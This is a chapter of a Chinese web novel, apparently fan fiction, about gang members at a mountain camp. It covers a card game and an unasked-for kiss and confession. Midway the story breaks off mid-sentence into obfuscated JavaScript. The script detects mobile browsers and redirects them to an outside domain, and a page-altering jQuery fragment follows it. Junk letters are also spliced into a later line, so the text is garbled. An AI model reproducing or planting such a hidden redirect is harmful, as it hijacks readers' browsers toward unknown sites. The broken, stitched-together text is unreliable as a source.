沈星把车停好,已是黄昏暮色。
他拎着大包小包走进寨子的时候,太阳落入山寨倚靠的群山,灰蓝色的天上,繁星点点。
追夫河在山寨旁边,一如既往的流淌着。
河面上的微风,吹动两侧的灌木丛,发出“沙沙”声。
大家坐在山寨的亭子里喝酒打牌,暖黄色的光,照亮了每个人。
他们的脸上挂着舒适闲散的笑容,自由放松又幸福。
但拓看见他回来,就从牌桌上下来,热情又大声的招呼他。
“阿星,回来了?来喝酒!貌伦给你炸了,你爱吃的花生米。”
沈星摇了摇头拒绝了他。
他拎着袋子跟但拓眼前晃了晃,表示自己刚跟刘金翠去买衣服了,他还给郁雾买了裙子,现在刚好送过去。
牌桌上的人,听到后,表情各异。
细狗自然是最不乐意的,他很烦沈星,烦他总去缠着卿卿。
他看着手里的牌,连忙回头:“沈星,妹在用电脑。”
油灯低头看牌,跟着说了一句:“阿星,来跟我们一起打牌哈。”
小柴刀补了一句:“沈星,你不来帮细狗,他那点工资全被我们赢走了。”
沈星看着他们,一动没动。
细狗回头又喊了一次:“沈星,你快来帮忙啊,快来啊!”
小柴刀也跟着喊他:“沈星,来呀!一起打牌!”
但拓看着沈星两难,眼神一转。
他把手里的啤酒塞到沈星手里,接过购物袋,跟他说:“阿星去打牌吧,细狗刚刚输得好惨噶。我帮你去送这个。”
沈星看着手里啤酒,再看看但拓快速走远的背影,只好凑到细狗身边,加入他们的牌局。
“细狗哥,我没打过,这个怎么打啊?”
郁雾的房门根本也没锁,但拓拎着购物袋直接进了屋。
他看见郁雾头埋在电脑屏幕上,手在键盘上飞快的敲击着。
他专心致志,根本没在意来人。
但拓看着手里的购物袋,小声的问:“卿卿,这个……”
郁雾脑子里全是工作,无心跟他交流,随手指了指身后的里屋。
但拓顺着手指,把袋子放在里屋的门口。
他放好袋子后,就十分自觉的坐在郁雾身边。
自己一个人尴尬了一会,发现对方把自己无视了到底。
他只好先发制人的说:“卿卿?别写了,阿星,最近事情办的很好,猜叔很高兴……”
郁雾听见沈星的名字,从笔电上抬头,眼神漫游了一下,才看见身边的拓子哥。
他笑的无知无觉的问他:拓子哥?啥时候来的?不好意思啊!我刚刚在写方案。有什么事情吗?
屋外人声嘈杂,屋里鸦雀无声。
但拓简直要被他的话气死了,忍了忍还是没忍住:“卿卿,没事我就不能来吗?”
郁雾的脑子刚从收购方案里抽离,并不知道但拓又为啥生气。
「生气了,就得哄。」
他连忙写:拓子哥,没有跟细狗哥哥去打牌吗?哥哥今天不是给大家放假半天吗?
我是因为这个生气的嘛?
你可……真是个祖宗!
转念一想,算了。
卿卿一工作,就是外面世界爆炸,他也不允许文件打错一个字。
更何况沈星也这待遇,他忽然心里有些平衡。
果然,幸福是比出来的。
但拓平复了心情,他嘴笨,不知道该怎么给他解释自己的行为,忽然想到:“阿星给你买了新衣服,我给你放屋里了。”
郁雾点了点头,他明白了。
原来刚刚写的太入神了,把他忽视了。
他低头写:拓子哥,真的不好意思,忽视了你。别守着我了,快去跟他们打牌喝酒去吧,我这估计要写很久。
说完就觉得眼睛有些干涩,伸手揉了揉眼睛。
但拓按着他的手,自己从兜里掏出一瓶人工泪液。
“莫揉。我给你去医院取了,这叫啥,人工泪液。院长上次就说你,总看屏幕才得的干眼症。”
郁雾低头听训,又惊喜的看着眼药水。
对着他认真的夸奖到:拓子哥,你真的,好全面啊!
「不愧是达班之母。他把每个人都照顾的很好啊!」
但拓抬手,小心的给他滴眼药水。
水滴从他手里,滴进他眼里。
有些凉。
凉意刺激的郁雾打了一个哆嗦。
他连忙闭着眼睛,转动眼球,让眼药水浸润眼球。
干涩的眼球被清凉的眼药水安抚,很舒服。
但拓看着卿卿闭着眼,在他面前毫无防备。
他目光一沉,情不自禁凑近他,落下深情一wen。
郁雾被吓的睁开双眼,眼泪混着眼药水从眼角滑落,身体也瞬间僵住了。
他瞪大水汪汪的眼睛,手先捂住了嘴巴,然后歪了歪头,疑惑的看着但拓。
不是,哥,你干嘛?
我,疯了?
还是你在做梦?
不是。
你,疯了?
还是我在做梦?
但拓看着卿卿的眼底,那汪清泉倒映着自己的身影。
真好啊!
他终于是他眼底的唯一了。
他不想他对其他人好。
他只想他对他一个人好。
他只想他眼里只有自己。
趁着卿卿呆若木鸡,没有抵抗。
但拓剥开他的手,低头加深了这个动作。
浅wen变深wen。
他勾着他,让他再无法逃脱。
他的爱意,在唇齿间,与他共舞。
我的小神仙,这下真让我抓到你了!
但拓目光灼热,笑看郁雾喘不上气的样子,温柔的哄着他说:“卿卿,你得学着用鼻子呼吸。莫憋气。”
他这个举动,让郁雾想起了那场毁天灭地级别的爆炸。
这瞬间,郁雾仿佛又回到了最初。
他被困在人形机舱里,拼尽全力也无法逃离。
爆炸声震耳欲聋,烟尘遮天蔽日。
肉身顷刻间,灰飞烟灭。
他什么也看不见,他什么也听不见。
可这次的爆炸,又不一样。
居然,燃起了蓝白色的火焰。
冷光的颜色,炽热的触感。
这火,噼里啪啦的燃烧着,火势越烧越大。
无法扑灭,随风四处乱窜。
“卿卿,我喜欢你。”
但拓捧着他的脸了,仔仔细细的摩挲着郁雾娇嫩的脸颊。
他拇指上的茧子,刮得郁雾的神智,逐渐回笼。
郁雾脑子一片混乱,他不知道这个问题,该回答什么。
对于他来说,但拓的直球,打的他直接死机了。
不er,怎么就喜欢我了?
我?我值得吗?
刚刚,我们不是还在点眼药水吗?怎么思维跳跃的这么快?
清醒点!
沈郁雾,你是个NPC,现在在影视世界,虽然身份被当前世界规则认同。
但当前世界的世界规则,会允许一个外地人接受本地人的告白吗?
别胡思乱想了!
你清醒点!
想到这,他的理智迅速回笼,脸色却变得愈发难看。
「爱情碰不得,保号最重要。」
郁雾只好糊弄的给但拓写:拓子哥喜欢给我点眼药水?以后我找你帮忙,你可不要嫌弃我。
但拓眼睛眯了起来,看着快到手的奶狗,突然清醒的敷衍自己。
他掐着郁雾的下巴,强迫他直视自己的双眼:“卿卿,莫要跟我开玩笑。我真的,喜欢你!”
不是,拓子哥为什么要来表白?
是猜叔指使的?
如果是,他这次又要搞什么小动作?
但拓连忙拉着他的手,跟他十指相扣,凑在他耳边,声音低沉有磁性:“我的喜欢,这么不明显嘛?
是我的错,我只喜欢你。
卿卿,你,喜欢我吗?”
滚烫的手心贴着郁雾冰冷的手背,热度穿过皮肤,刺入骨头,顺着血液,一直传到,他的心脏。
对啊,他现在是有心脏的人了。
心室震颤,心律失常。
意识丧失,呼吸困难。
搁以往,他一定会去医院做心电图,害怕自己的身体出了问题。
但现在,他知道不是心脏出来问题,而是但拓给他,带来了全新的人生体验。
这种体验,是沈星陪伴这么久,从未带给过他。
好烫。
他的手心好烫。
烫的他,冰凉的指尖止不住的颤抖。
他承受不住,只能颤抖着、挣扎着,从这只大手的手心里抽离。
但拓捧着他的手按在自己心口,低着头深情的注视郁雾的眼睛,眼神坚定的像个虔诚的信徒。
他眼底藏着无限爱意,仿若烧身的业火,只想把他眼底那片,始终寂静的湖烧干,烧穿。
“卿卿,以前的那些事,我给你道歉。
你莫害怕我,我也不会再伤害你了。
我喜欢你。”
郁雾感受到手下胸腔里,心脏正在规律的跳动。
这是他亲手,保护的生命。
高尚,卑劣;自由,规律;短暂,漫长。
穿过皮肉,直抵内心。
手下按着的胸肌,很硬。
哥最近,胸练的不错。
郁雾的自我防御机制开启,思想又开始控制不住的游离。
但拓只觉得,他突然的惶恐不安,很是不对劲。他低声的哀求到:“我的乖,你可以,不要拒绝我吗!”
打直球。
是但拓仔细观察沈星和卿卿相处之后,总结出来的规律。
一般沈星只要直白的说出自己所想,卿卿是不会拒绝的。
同理可得,告白也是。
「绕弯就会白给,直进才是王道。」
兜圈子,最要不得。
因为不直说,郁雾哪怕心里明白,也会一直装糊涂。
沈星也说他是打太极一级选手,所以必须一击即中。
猜叔想跟妹妹和好的进度慢的原因,大概就是这个。
兄妹间有什么藏着掖着的,有话直说,早就和好了。
大兄弟,你就真没想过,他们兄妹俩就是因为不能明说,才各自藏着掖着的?
但拓的这个发现,不无道理。
郁雾就是最受不了直球,但他现在没法回应但拓的爱意。
这种珍贵的爱意,在他简单的情感生活里,留下了浓墨重彩的一笔。
对他的冲击,实在是太大了。
他不知道该怎么拒绝但拓。
他不想拒绝的太生硬,而毁坏这份珍贵的心意。
三十六计,走为上计!
我害怕,我先走了!
他的手腕使劲,一下推开了但拓的怀抱,慌里慌张的,头也不回的跑了出去。
郁雾挣扎的力量,对比但拓来说,真的不算什么。
但拓可是能一拳就能打掉昂吞的牙;初见时收着劲,依旧能把郁雾打到胃出血;毛攀对郁雾犯浑,他出手,一下就能把毛攀按在墙上磕头的人。
达班的但拓,那战斗力和名声,是他一拳拳捶出来的,不是吹出来的。
郁雾能在他手里顺利逃脱,不过是但拓不忍其为难,舍得放人罢了。
沈星正巧来找郁雾。
郁雾拍了拍脸,收起惊慌的表情,晃手跟沈星打招呼。
沈星像只被主人召唤的小狗,开心的摇着尾巴,迎着他走过了来。
“卿卿,怎么跑的这么快?拓子哥呢?”
郁雾红着脸给他打着手语:他说你回来了,我拍你被毛攀欺负,又怕你跟刘金翠逛街被为难……
被日常关心的沈星,不以为意的哈哈一笑,拉起他就走。
“你可别跑了。我最近可学聪明了!还有,谁能欺负达班猜叔的人啊!
而且那毛攀都哑了,没啥威力了。
我刚刚寡不敌众,害细狗输了个精光。
这不,我来找你,帮我们报仇呢嘛。”
郁雾的注意力被沈星话转移,已经把但拓的表白抛到了脑后,跟着沈星手牵手的走了。
但拓悄无声息的站他们后边,把他俩的互动看了个一清二楚,冷着脸看着沈星拉着郁雾走向人群。
他不禁在心里疑问:卿卿,你就只看到沈星了吗?
那我呢?
我就一点机会,都没有了吗?
牌桌上。
细狗看见卿卿跟着沈星走来,像看见救星一样。
他攥着卿卿的双手,像是攥着救命稻草。脸上也不自觉的挂起了最谄媚的笑,连忙拉着他,坐自己的位置上。
众人就听他央求着说:“卿卿你可来咯!沈星那个笨脑壳,害我输惨咯!”
细狗又开始告黑状了。
被告者沈星本人,此时就站在他们身后,表情十分无奈的摇了摇头。
没招了,面对能当面告黑状的细狗,他也真没招了。
郁雾不爱听细狗发这样的牢骚,按着他往自己手里塞牌的手,冷眼看着他。
细狗立刻敲了敲脑袋说:“我笨我笨。是我输了好多啊!阿妹,妹,你快帮帮我!”
郁雾看他认错的很积极,才踏实的抓牌看牌。
细狗看他抓牌,赶紧坐在他旁边,给他讲打牌的规则。
但拓走过来,拍了拍沈星的肩膀,以作安慰。
揽着他的肩膀,两人坐到牌桌后边的两张小藤椅上。
“阿星,来。他们打牌,我们喝酒。”
但拓熟练的撬开瓶盖,两人隔着小圆桌,面对面的喝酒聊天。
小柴刀看着牌都拿不稳的郁雾,有些不忍心的劝说:“细狗哥,你不地道,你请卿卿来,我们谁敢赢?”
油灯低头看牌,跟着附和:“是呀,是呀!”
沈星喝了口啤酒,听到小柴刀说这话。回头看了郁雾一眼,不禁腹诽到:你以为,他拿不稳牌,真是因为不会打嘛?
卿卿的牌技,是沈女士和郁舅妈两个人教的。沈女士那可是因为太聪明,十八岁的时候,靠算牌赢爆赌场。
她那一仗,赢得漂亮!也把自己挂上了全卡蒙赌场的黑名单。
再加上卿卿本人,脑子聪明,胜负心超强。
你现在就这么轻易的夸下海口,小心他一会底裤都给你赢走。
那时候,你可别哭的太难
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16277344|179850||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看,就行了。
沈星咽了嘴里的酒,嘴上熟练的安抚:“嗨,卿卿也是第一次打牌。小柴刀,你多担待!”
小柴刀倒是不知深浅,看着表情无辜的卿卿说:“卿卿,我就想说,一会儿你被我打输了,别跟细狗哥一样,急眼找外援就行。”
油灯也点了点头:“对对对,牌桌无尊卑!”
细狗不耐烦的补了一句:“我比你大,你刚刚也没让着我。妹,别理他们!”
沈星又灌了一口酒。
你可别说大话了。
你跟他打上几圈,就知道谁最急眼了。
郁雾笑容乖巧的跟沈星点了点头,朝尕滚挥了挥手,示意到他出牌了。
细狗看着郁雾跟沈星相视一笑,心里别扭,连忙说:“你少小看我妹咯!打牌打牌,该谁出咯。”
但拓跟沈星聊着最近的工作,边喝酒边扯闲天。
哪怕他们走了马帮道,从莱佩进各种物资货品,依旧忧心路路交通。
实在是华国的联合缉毒行动,已经波及到了山里的那些人。
如果达班的甲方不在了,他们可能会面临更严峻的处境……
他俩聊了半天,怎么想都想不到出路。
索性就不想了,这种动脑子的事,还是交给达班的老大猜叔和聪明的阿妹吧!
他们服从老大命令,听他指挥就行。
聊天聊地,就聊到了刘金翠。
说到刘金翠,沈星如同贞zzjj洁烈男一般,飞速坐起qqss身。
不自觉的跟但拓小声抱怨:“刘金翠,如狼似虎!她,太猛了!就硬,硬往我身上扑啊!那是!”
但拓靠在椅背上,表情放松闲适。
刘金翠扑的又不是自己。
他倒是一脸无所谓的说:“谁噶?刘金翠?”
沈星心虚的回头看了眼郁雾。
他发现,郁雾心思没在他身上,只是一脸严肃的盯着手里的牌,可见牌局正焦灼。
他只好回头,有些失落的又喝了一大口啤酒:“嗯,刘金翠,翠姐。”
但拓笑了笑,提示到:“刘金翠可是大曲林出了名的,提起裤子不认人。你自己,把握分寸哈。”
沈星到没有反驳,一脸乖巧:“这我懂,她是情场老手,我是职场菜鸟。
我懂我懂。
哦,拓子哥,我今天,在金翠歌厅碰到毛攀了。”
但拓一愣,喝了口酒的问:“州傧不是说陈会长给他办了签证,过几天就回华国吗?他,怎么还没走?”
沈星趴在但拓耳边,悄声问他:“拓子哥,我真的想不明白,卿卿为啥要让我告诉毛攀,他最近会去大曲林的赌坊啊?”
你个憨憨,当然是让他去赌,然后给陈会长添堵啊!
但拓只猜到了一层,但他也很不知道妹妹要做什么。反而好奇反问他:“你们不是,一起长大的嘛?卿卿的想法,你怎么不知道?”
沈星看他的表情,就知道他也不知道郁雾具体要做啥。
但他如今,也只能勉强猜到第二层,赌场的现金最多。
卿卿或许要从毛攀身上,套陈家的钱。
他最近想给达班整个大型发电机,老的那个马力太小,根本带不动空调这种大功率电器。
最近进入了三边坡的雨季,气候变得无比湿热,都给他俩这华国北方人,悟出痱子了。
其实,还有他们想不到的第三层,那就是猜叔和郁雾想给达班的业务做转型,自然不能放过毛攀这个人傻钱多的大客户。
沈星刚想跟但拓说什么,就听旁边牌桌上的细狗一声欢呼。
“又赢咯!妹,你真的太牛了。哈哈哈哈,掏钱掏钱,刚刚你们还看不起我妹!这都第几把咯!”
细狗揽着郁雾的肩膀,嘚瑟至极。
郁雾一直挂着温和纯良的笑。
但拓跟沈星在旁边,给郁雾鼓掌喝彩!
油灯,尕滚,小柴刀不情不愿的掏钱,递到细狗手里。
勃磨的钱,对比米华等大国来说,其实也不值钱。在亚洲金融危机之后,变得更不值钱了。
小柴刀拍了拍脚边一堆私房钱,不服气的喊:“再来,再来。”
沈星看着郁雾温柔的笑,一下就读懂了他眼底的嚣张。
他惯用低调内敛来包裹肆意张扬。
那种似有似无的,却恰到好处,让人接受的傲慢。
他还能读懂他,他是最能读懂他的人。
沈星看着牌桌上斗志正浓的众人,有些不忍心的劝:“我……我,劝你们别打了!”
油灯敏锐的扭脸问他:“阿星,你是不是知道什么噶?”
正此时,扑克牌在郁雾手里,翻出各种花样,他用扑克把所有人的注意力,又吸引回牌桌上。
细狗坐在郁雾身边,又嘚瑟,又轻蔑的看着他们。
小柴刀被细狗看的火冒三丈,边掏钱边说:“我今天把底裤压上,也要跟卿卿打下去。”
听到这话,其他人纷纷掏钱。
郁雾满意的点了点头,让细狗把之前,从他们那赢的钱,重新放回牌桌。
钱像小山,累在郁雾手边。
更像战斗的号角,在所有人耳边吹响冲锋号。
但拓看着卿卿的眼神,他看牌桌上的人,像是在看掉进陷阱的猎物,是势在必得和大局在握。
他捂着脸,在心里为兄弟们默哀:你们怕不是,真要光着离开了。
但拓跟沈星碰杯,跟他们说:“你们玩你们的,我跟阿星聊的正开心嘞。”
小柴刀也被细狗摞钱的动作,扯回全部注意力。
几人继续打牌。
没多久,郁雾乖巧的坐在一群花皮猛汉之间,优雅的赢了一把又一把。
身边的钱堆,从小土包,硬生生的被细狗累成高山。
大家赢的少,输得多,情绪都有点崩溃。
油灯用勃磨语连连哀求他不要再打,但拓看着细狗嘚瑟的模样,小声骂了一句“憨狗”。
细狗蹲在郁雾身边,拍着那些纸币,嚣张的叫嚷:“看不起哪个?我们的妹妹,就是最牛的!”
小柴刀服输:“对对对!卿卿太牛了,所以能不能……”
沈星不忍心他们真把底裤压上,那模样实在不雅观。
他再次回头,就对郁雾说:“卿卿别玩了,太晚啦。你忙了一天了,早些休息吧。”
郁雾玩弄扑克牌的手势微微一顿,玩牌是消遣,他根本没费脑细胞,但确实是写了一天方案,有些累了。
细狗气急败坏的,跑去要堵沈星的嘴:“沈星你闹哪样?我妹不能走!”
沈星一转身就轻松躲开了。
“你躲我做什么!”
众人也不玩牌了,就看着沈星被细狗追逐。
沈星边躲边说:“吴院长让我们好好照顾卿卿的,他最近才好点,我怕他累到。”
“你拿着孔雀的翎毛做箭,少拿院长压我!打牌怎么会累!我看你就是妒忌,妒忌卿卿跟我天下第一好!”细狗追着他,要揍他。
本来缩在角落围观的但拓,见郁雾身边空了,就走了过去。
郁雾看天看地,看沈星被细狗追着咬,看手里的牌,就是不敢看他。
脸颊绯红,不知所措。
他们的周围仿佛隔了一层罩着,享受着与众不同的氛围。